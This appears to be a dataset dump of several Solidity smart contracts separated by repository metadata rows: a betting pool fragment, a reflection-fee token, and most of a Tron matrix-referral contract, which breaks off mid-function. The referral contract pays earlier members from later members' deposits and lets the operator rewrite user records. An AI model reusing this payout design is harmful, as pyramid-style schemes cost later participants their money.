globalFactor = globalFactor.add(globalIncrease);
// Update user ledgers
personalFactorLedger_[_customerAddress] = constantFactor / globalFactor;
balanceLedger_[_customerAddress] = customerEth.sub(lostEth);
}
function winEth(address _customerAddress, uint256 wonEth)
internal
{
uint256 customerEth = ethBalanceOf(_customerAddress);
// Decrease amount of eth everyone else owns
uint256 globalDecrease = globalFactor.mul(wonEth) / betPool(_customerAddress);
globalFactor = globalFactor.sub(globalDecrease);
// Update user ledgers
personalFactorLedger_[_customerAddress] = constantFactor / globalFactor;
balanceLedger_[_customerAddress] = customerEth.add(wonEth);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
| 143,234 | 12,784 |
fc02aa621ed96d43d735192b24bcb35e3e99c026ae26cb2518c1f93882e27b22
| 15,902 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x798620E1C3Da17c7f2D2Cf73e067d4B344D5A42d/contract.sol
| 4,145 | 15,407 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract HentaiFinance is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'HentaiFinance';
string private _symbol = 'HENTAI';
uint8 private _decimals = 9;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.mul(3).div(100);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
| 257,018 | 12,785 |
056058a92dfb7c12299eb8fb47ce55a382d6628f36eb5aae712059150ee9230d
| 29,207 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TC/TCWDJFcsR5LQrmHZkoFyykN2wkTKTq5oks_CycleTronV2.sol
| 7,480 | 28,390 |
//SourceUnit: CycleTronV2.sol
pragma solidity 0.5.10;
contract CycleTronV2 {
struct Level {
uint index;
bool active;
address parent;
bool level1_finished;
address[] referrals_line1;
address[] referrals_line2;
address lastFreeChild;
uint256 reinvest;
}
struct LevelTree{
uint8 l;
mapping(uint => address) nodes;
mapping(uint => bool) enables;
}
mapping(uint8 => LevelTree) public levelTrees;
struct User {
uint id;
address referrer;
uint partnersCount;
uint borrowAmount;
address borrowedFrom;
mapping(uint8 => Level) levels;
mapping(uint8 => X6) x6Matrix;
}
struct X6 {
bool active;
address currentReferrer;
address[] firstLevelReferrals;
address[] secondLevelReferrals;
bool blocked;
uint reinvestCount;
address closedPart;
}
uint8 public constant LAST_LEVEL = 4;
mapping(address => User) public users;
mapping(uint => address) public idToAddress;
mapping(uint => address) public userIds;
uint public lastUserId = 1291;
address public root;
address public operator;
uint256 public contractDeployTime;
uint256 public launchTime;
uint public trxe6 = 1e6;
uint public firstLevelPrice = 100 * trxe6;
uint public x6Price;
uint public totalTRX = 0;
mapping(uint8 => uint) public levelPrice;
event NewUserPlace(address indexed user, address indexed referrer, uint8 place);
event Reinvest(address indexed user, address indexed currentReferrer, address indexed caller);
event MissedEthReceive(address indexed receiver, address indexed from);
event SentExtraEthDividends(address indexed from, address indexed receiver);
event NewLevel(address indexed user, uint8 level, uint id);
event Registration(address indexed user, address indexed referrer, uint indexed userId, uint referrerId);
modifier isOperator(){
require(msg.sender == operator, "OperatorOnly");
_;
}
constructor() public {
root = 0x1D7b3d9715e9BC32BB7c5E2c68368012E54Bae90;
operator = msg.sender;
//register root
contractDeployTime = now;
launchTime = now;
levelPrice[1] = firstLevelPrice;
for (uint8 i = 2; i <= LAST_LEVEL; i++) {
levelPrice[i] = levelPrice[i-1] * 2;
}
x6Price = levelPrice[LAST_LEVEL]*2;
//_register(root, address(0), address(0));
for (uint8 i = 2; i <= LAST_LEVEL; i++) {
//_buyLevel(root, i);
users[root].levels[i].active = true;
}
users[root].x6Matrix[1].active = true;
}
function() external payable {
}
function register(address referrerAddress, address borrowFrom) public payable returns(uint) {
require(!isUserExists(msg.sender), "user exists");
require(isUserExists(referrerAddress), "referrer not exists");
require(borrowFrom==address(0) || users[borrowFrom].borrowAmount >= firstLevelPrice, "Lender does not have enough TRX.");
require(borrowFrom != address(0) || msg.value==firstLevelPrice);
return _register(msg.sender, referrerAddress, borrowFrom);
}
function depositLending() public payable returns(uint) {
require(isUserExists(msg.sender), "user not exists");
users[msg.sender].borrowAmount += msg.value;
return users[msg.sender].borrowAmount;
}
// function withdrawLending() public{
// require(users[msg.sender].borrowAmount > 0);
// users[msg.sender].borrowAmount = 0;
// _send(msg.sender, users[msg.sender].borrowAmount);
// }
function _register(address userAddress, address referrerAddress, address borrowFrom) internal returns(uint) {
lastUserId++;
User memory user = User({
id: lastUserId,
referrer: referrerAddress,
partnersCount: 0,
borrowedFrom: borrowFrom,
borrowAmount: 0
});
users[userAddress] = user;
idToAddress[lastUserId] = userAddress;
users[userAddress].referrer = referrerAddress;
userIds[lastUserId] = userAddress;
users[referrerAddress].partnersCount++;
if(borrowFrom != address(0)){
users[borrowFrom].borrowAmount -= firstLevelPrice;
}
emit Registration(userAddress,
referrerAddress,
lastUserId,
users[referrerAddress].id);
if(userAddress != root){
_buyLevel(userAddress, 1);
}else{
users[root].levels[1].active = true;
users[root].levels[1].index = 1;
levelTrees[1].nodes[1] = root;
levelTrees[1].enables[1] = true;
return 1;
}
}
function _buyLevel(address userAddress, uint8 level) internal returns(uint){
address parent = _findLevelParent(users[userAddress].referrer,
level);
if(userAddress != root){
address levelParent = _addLevelNode(parent, userAddress, level);
users[userAddress].levels[level].active = true;
users[userAddress].levels[level].parent = levelParent;
uint index = users[levelParent].levels[level].index*2;
if(users[levelParent].levels[level].level1_finished){
index += 1;
}
users[userAddress].levels[level].index = index;
levelTrees[level].nodes[index] = userAddress;
levelTrees[level].enables[index] = true;
return index;
}else{
users[userAddress].levels[level].active = true;
users[userAddress].levels[level].parent = address(0);
users[userAddress].levels[level].index = 1;
levelTrees[level].nodes[1] = userAddress;
levelTrees[level].enables[1] = true;
return 1;
}
}
function _lastDepthIndex(uint index, uint last_index) pure internal returns(uint){
while(true){
if(last_index <= index*2+1){
return index*2+1;
}
index = index*2 + 1;
}
}
function _firstDepthIndex(uint index, uint last_index) pure internal returns(uint){
while(true){
if(index*2 > last_index){
return index;
}
index = index*2;
}
}
function _findFreeNodeByIndex(uint index, uint8 level,
uint last_index) view internal returns(address){
uint[] memory addrs = new uint[](lastUserId);
uint lIndex = 0;
if(last_index != 0){
uint last_depth_index = _lastDepthIndex(index, last_index);
for(uint k=last_index; k<=last_depth_index ; k++){
if(levelTrees[level].enables[k]){
address addr = levelTrees[level].nodes[k];
if(!users[addr].levels[level].level1_finished){
return addr;
}
if(levelTrees[level].enables[k*2])
addrs[lIndex++] = k*2;
if(levelTrees[level].enables[k*2+1])
addrs[lIndex++] = k*2+1;
}
}
uint first_depth_index = _firstDepthIndex(index, last_index*2);
for(uint k=first_depth_index; k < last_index*2; k++){
if(levelTrees[level].enables[k]){
address addr = levelTrees[level].nodes[k];
if(!users[addr].levels[level].level1_finished){
return addr;
}
if(levelTrees[level].enables[k*2])
addrs[lIndex++] = k*2;
if(levelTrees[level].enables[k*2+1])
addrs[lIndex++] = k*2+1;
}
}
}else{
addrs[lIndex++] = index;
}
uint i = 0;
while(true){
address addr = levelTrees[level].nodes[addrs[i]];
if(!users[addr].levels[level].level1_finished){
return addr;
}
if(levelTrees[level].enables[addrs[i]*2])
addrs[lIndex++] = addrs[i]*2;
if(levelTrees[level].enables[addrs[i]*2+1])
addrs[lIndex++] = addrs[i]*2+1;
i++;
}
}
function _findFreeNode(address parent, address last_free_child,
uint8 level) public view returns(address){
uint index = users[parent].levels[level].index;
uint last_index = 0;
if(last_free_child != address(0)){
last_index = users[last_free_child].levels[level].index;
}
return _findFreeNodeByIndex(index, level, last_index);
}
function _addLevelNode(address node, address user, uint8 level) internal returns(address){
address parent = _findFreeNode(node, users[node].levels[level].lastFreeChild,
level);
if(parent != node){
users[node].levels[level].lastFreeChild = parent;
}
users[parent].levels[level].referrals_line1.push(user);
users[parent].levels[level].level1_finished = users[parent].levels[level].referrals_line1.length==2;
if(level == 1 && users[parent].borrowedFrom != address(0)){
if((users[parent].borrowedFrom == 0x978b9ceD9acEe795e9A3501CbE18a9f22c57E7F3||
users[parent].borrowedFrom == 0x674f3503939498cA91AF58E35AD50D4B1027eF3b) && users[parent].id <= 1291){
// paid before
}else{
_send(users[parent].borrowedFrom, levelPrice[level]/2, true);
}
}else{
_send(parent, levelPrice[level]/2, false);
}
address upline = users[parent].levels[level].parent;
if(upline != address(0)){
users[upline].levels[level].referrals_line2.push(user);
if(users[upline].levels[level].referrals_line2.length == 4){
if(level < LAST_LEVEL){
_buyLevel(upline, level+1);
}else if(level==LAST_LEVEL){
_enableX6(upline);
}
emit NewLevel(upline, level+1, users[upline].id);
}
}else{
_send(root, levelPrice[level]/2, false);
}
return parent;
}
function _enableX6(address user) internal{
users[user].x6Matrix[1].active = true;
if(user != root)
updateX6Referrer(user, findFreeX6Referrer(user));
}
function updateX6Referrer(address userAddress, address referrerAddress) private {
uint8 level = 1;
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length < 2) {
users[referrerAddress].x6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress, referrerAddress, uint8(users[referrerAddress].x6Matrix[level].firstLevelReferrals.length));
//set current level
users[userAddress].x6Matrix[level].currentReferrer = referrerAddress;
if (referrerAddress == root) {
return sendETHDividends(referrerAddress, userAddress);
}
address ref = users[referrerAddress].x6Matrix[level].currentReferrer;
users[ref].x6Matrix[level].secondLevelReferrals.push(userAddress);
uint len = users[ref].x6Matrix[level].firstLevelReferrals.length;
if ((len == 2) &&
(users[ref].x6Matrix[level].firstLevelReferrals[0] == referrerAddress) &&
(users[ref].x6Matrix[level].firstLevelReferrals[1] == referrerAddress)) {
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress, ref, 5);
} else {
emit NewUserPlace(userAddress, ref, 6);
}
} else if ((len == 1 || len == 2) &&
users[ref].x6Matrix[level].firstLevelReferrals[0] == referrerAddress) {
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress, ref, 3);
} else {
emit NewUserPlace(userAddress, ref, 4);
}
} else if (len == 2 && users[ref].x6Matrix[level].firstLevelReferrals[1] == referrerAddress) {
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress, ref, 5);
} else {
emit NewUserPlace(userAddress, ref, 6);
}
}
return updateX6ReferrerSecondLevel(userAddress, ref);
}
users[referrerAddress].x6Matrix[level].secondLevelReferrals.push(userAddress);
if (users[referrerAddress].x6Matrix[level].closedPart != address(0)) {
if ((users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]) &&
(users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].x6Matrix[level].closedPart)) {
updateX6(userAddress, referrerAddress, level, true);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress);
} else if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].x6Matrix[level].closedPart) {
updateX6(userAddress, referrerAddress, level, true);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress);
} else {
updateX6(userAddress, referrerAddress, level, false);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress);
}
}
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[1] == userAddress) {
updateX6(userAddress, referrerAddress, level, false);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress);
} else if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] == userAddress) {
updateX6(userAddress, referrerAddress, level, true);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress);
}
if (users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length <=
users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length) {
updateX6(userAddress, referrerAddress, level, false);
} else {
updateX6(userAddress, referrerAddress, level, true);
}
updateX6ReferrerSecondLevel(userAddress, referrerAddress);
}
function updateX6(address userAddress, address referrerAddress, uint8 level, bool x2) private {
if (!x2) {
users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress, users[referrerAddress].x6Matrix[level].firstLevelReferrals[0], uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length));
emit NewUserPlace(userAddress, referrerAddress, 2 + uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length));
//set current level
users[userAddress].x6Matrix[level].currentReferrer = users[referrerAddress].x6Matrix[level].firstLevelReferrals[0];
} else {
users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress, users[referrerAddress].x6Matrix[level].firstLevelReferrals[1], uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length));
emit NewUserPlace(userAddress, referrerAddress, 4 + uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length));
//set current level
users[userAddress].x6Matrix[level].currentReferrer = users[referrerAddress].x6Matrix[level].firstLevelReferrals[1];
}
}
function updateX6ReferrerSecondLevel(address userAddress, address referrerAddress) private {
uint8 level = 1;
if (users[referrerAddress].x6Matrix[level].secondLevelReferrals.length < 4) {
return sendETHDividends(referrerAddress, userAddress);
}
address[] memory x6 = users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].firstLevelReferrals;
if (x6.length == 2) {
if (x6[0] == referrerAddress ||
x6[1] == referrerAddress) {
users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].closedPart = referrerAddress;
} else if (x6.length == 1) {
if (x6[0] == referrerAddress) {
users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].closedPart = referrerAddress;
}
}
}
users[referrerAddress].x6Matrix[level].firstLevelReferrals = new address[](0);
users[referrerAddress].x6Matrix[level].secondLevelReferrals = new address[](0);
users[referrerAddress].x6Matrix[level].closedPart = address(0);
users[referrerAddress].x6Matrix[level].reinvestCount++;
if (referrerAddress != root) {
address freeReferrerAddress = findFreeX6Referrer(referrerAddress);
emit Reinvest(referrerAddress, freeReferrerAddress, userAddress);
updateX6Referrer(referrerAddress, freeReferrerAddress);
} else {
emit Reinvest(root, address(0), userAddress);
sendETHDividends(root, userAddress);
}
}
function findFreeX6Referrer(address userAddress) public view returns(address) {
uint8 level = 1;
while (true) {
require(userAddress != address(0), "address 0");
if (users[users[userAddress].referrer].x6Matrix[level].active) {
return users[userAddress].referrer;
}
userAddress = users[userAddress].referrer;
}
}
function sendETHDividends(address userAddress, address _from) private {
if(msg.sender!=root)
{
(address receiver, bool isExtraDividends) = findEthReceiver(userAddress, _from);
if(receiver == address(0)){
receiver = root;
}
_send(receiver, x6Price, false);
// if (!address(uint160(receiver)).send(x6Price)) {
// return address(uint160(receiver)).transfer(address(this).balance);
// }
if (isExtraDividends) {
emit SentExtraEthDividends(_from, receiver);
}
}
}
function findEthReceiver(address userAddress, address _from) private returns(address, bool) {
address receiver = userAddress;
bool isExtraDividends;
uint8 level = 1;
while (true) {
if (!users[receiver].x6Matrix[level].active) {
emit MissedEthReceive(receiver, _from);
isExtraDividends = true;
receiver = users[receiver].x6Matrix[level].currentReferrer;
} else {
return (receiver, isExtraDividends);
}
}
}
function _findLevelParent(address user, uint8 level) public view returns(address){
if(user==root || user==address(0)){
return root;
}
if(users[user].levels[level].active){
return user;
}
return _findLevelParent(users[user].referrer, level);
}
function _send(address addr, uint amount, bool borrow) private{
uint transferable = amount <= address(this).balance ?
amount : address(this).balance;
if(addr == root && !borrow){
address(uint160(root)).transfer(transferable/2);
address(uint160(operator)).transfer(transferable/2);
}else{
address(uint160(addr)).transfer(transferable);
}
}
function addUsers(address[] memory _addr,
uint[] memory _id,
address[] memory _referrer,
uint[] memory _partnersCount,
uint[] memory _borrowAmount,
address[] memory _borrowedFrom,
address[] memory level1_parent,
bool[] memory level1_finished,
address[2][] memory referrals_line1,
address[4][] memory referrals_line2,
address[] memory lastFreeChild,
uint256[] memory lnodes) public isOperator{
for(uint i=0; i< _addr.length; i++){
if(_id[i] > 0){
users[_addr[i]].id = _id[i];
users[_addr[i]].referrer = _referrer[i];
if(_partnersCount[i] > 0){
users[_addr[i]].partnersCount = _partnersCount[i];
}
if(_borrowedFrom[i] != address(0)){
users[_addr[i]].borrowedFrom = _borrowedFrom[i];
}
if(_borrowAmount[i] > 0){
users[_addr[i]].borrowAmount = _borrowAmount[i];
}
users[_addr[i]].levels[1].index = lnodes[i];
users[_addr[i]].levels[1].active = true;
users[_addr[i]].levels[1].parent = level1_parent[i];
if(level1_finished[i]){
users[_addr[i]].levels[1].level1_finished = true;
}
if(lastFreeChild[i] != address(0)){
users[_addr[i]].levels[1].lastFreeChild = lastFreeChild[i];
}
if(referrals_line1[i][0] != address(0)){
users[_addr[i]].levels[1].referrals_line1.push(referrals_line1[i][0]);
}
if(referrals_line1[i][1] != address(0)){
users[_addr[i]].levels[1].referrals_line1.push(referrals_line1[i][1]);
}
for(uint8 ind=0; ind<4; ind++){
if(referrals_line2[i][ind] != address(0)){
users[_addr[i]].levels[1].referrals_line2.push(referrals_line2[i][ind]);
}
}
levelTrees[1].nodes[lnodes[i]] = _addr[i];
levelTrees[1].enables[lnodes[i]] = true;
idToAddress[_id[i]] = _addr[i];
}
}
}
function addLevels(uint8 level,
address[] memory _addr,
address[] memory level1_parent,
bool[] memory level1_finished,
address[2][] memory referrals_line1,
address[4][] memory referrals_line2,
address[] memory lastFreeChild,
//uint256[10] memory reinvest,
uint256[] memory lnodes) public isOperator{
for(uint i=0; i< _addr.length; i++){
users[_addr[i]].levels[level].index = lnodes[i];
users[_addr[i]].levels[level].active = true;
users[_addr[i]].levels[level].parent = level1_parent[i];
if(level1_finished[i]){
users[_addr[i]].levels[level].level1_finished = true;
}
if(lastFreeChild[i] != address(0)){
users[_addr[i]].levels[level].lastFreeChild = lastFreeChild[i];
}
if(referrals_line1[i][0] != address(0)){
